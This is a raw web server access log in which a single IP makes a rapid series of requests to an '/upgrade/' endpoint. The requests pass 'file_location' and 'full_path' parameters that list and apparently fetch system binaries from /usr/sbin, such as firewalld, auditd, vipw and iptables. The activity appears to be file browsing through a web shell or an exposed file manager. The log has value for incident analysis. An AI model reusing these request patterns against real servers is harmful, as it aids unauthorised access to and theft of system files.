45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmd-auto-readd.sh&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37594 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmd-auto-readd.sh&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmklost+found&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37432 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmklost+found&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-nzd2nzf&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-nzd2nzf&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsensors-detect&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 94115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsensors-detect&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmodinfo&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 117268 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmodinfo&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnewusers&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 72811 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnewusers&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faugenrules&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39215 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faugenrules&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Feximstats&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 85390 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Feximstats&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffirewalld&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40619 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffirewalld&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flchage&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43649 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flchage&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flgroupdel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41632 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flgroupdel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhttpd_ls_bak_bak&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 409590 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhttpd_ls_bak_bak&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flshw&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 397998 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flshw&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmakedumpfile&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 237796 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmakedumpfile&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffix-info-dir&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41003 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffix-info-dir&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-macbless&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 652303 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-macbless&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Foddjobd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 70000 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Foddjobd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:48 -0400] "GET /upgrade/?full_path=%2Fusr%2Fsbin&location=%2F HTTP/1.1" 200 7738 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Fsbin&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fintel_sdsi&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44630 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fintel_sdsi&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsconf&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52870 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsconf&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvpddecode&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvpddecode&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fctrlaltdel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42670 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fctrlaltdel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_fixdb&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53546 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_fixdb&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 256572 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frmmod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 117264 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frmmod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-setpassword&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38854 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-setpassword&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138214 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fkexec&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 112274 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fkexec&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frunuser&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 59910 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frunuser&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptunnel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46096 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptunnel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdclddb&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40475 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdclddb&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2mmpstatus&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49315 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2mmpstatus&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkzone&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50760 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkzone&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvipw&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 59558 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvipw&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:01 -0400] "GET /upgrade/?location=%2Fusr%2Fsbin%2F&option=file HTTP/1.1" 200 37340 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fsbin%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrpconv&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 57419 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrpconv&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnameif&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43133 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnameif&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_info&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38195 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_info&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffixfiles&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42490 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffixfiles&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffstrim&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52993 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffstrim&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fresize2fs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 65555 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fresize2fs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138017 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138137 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmountstats&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48839 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmountstats&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fslattach&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53031 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fslattach&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fauditd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 96015 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fauditd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138197 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsemodule&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47725 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsemodule&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fausearch&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 87202 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fausearch&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fadduser&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 94435 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fadduser&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fddns-confgen&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45423 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fddns-confgen&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-keyfromlabel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52401 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-keyfromlabel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-signzone&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 77501 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-signzone&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fflashrom&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 273461 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fflashrom&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdcltrack&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53473 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdcltrack&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpoweroff&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 163488 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpoweroff&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxtables-monitor&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138217 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxtables-monitor&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138246 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.ext4&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 97322 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.ext4&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frdma&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 81599 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frdma&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fresizepart&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45627 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fresizepart&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
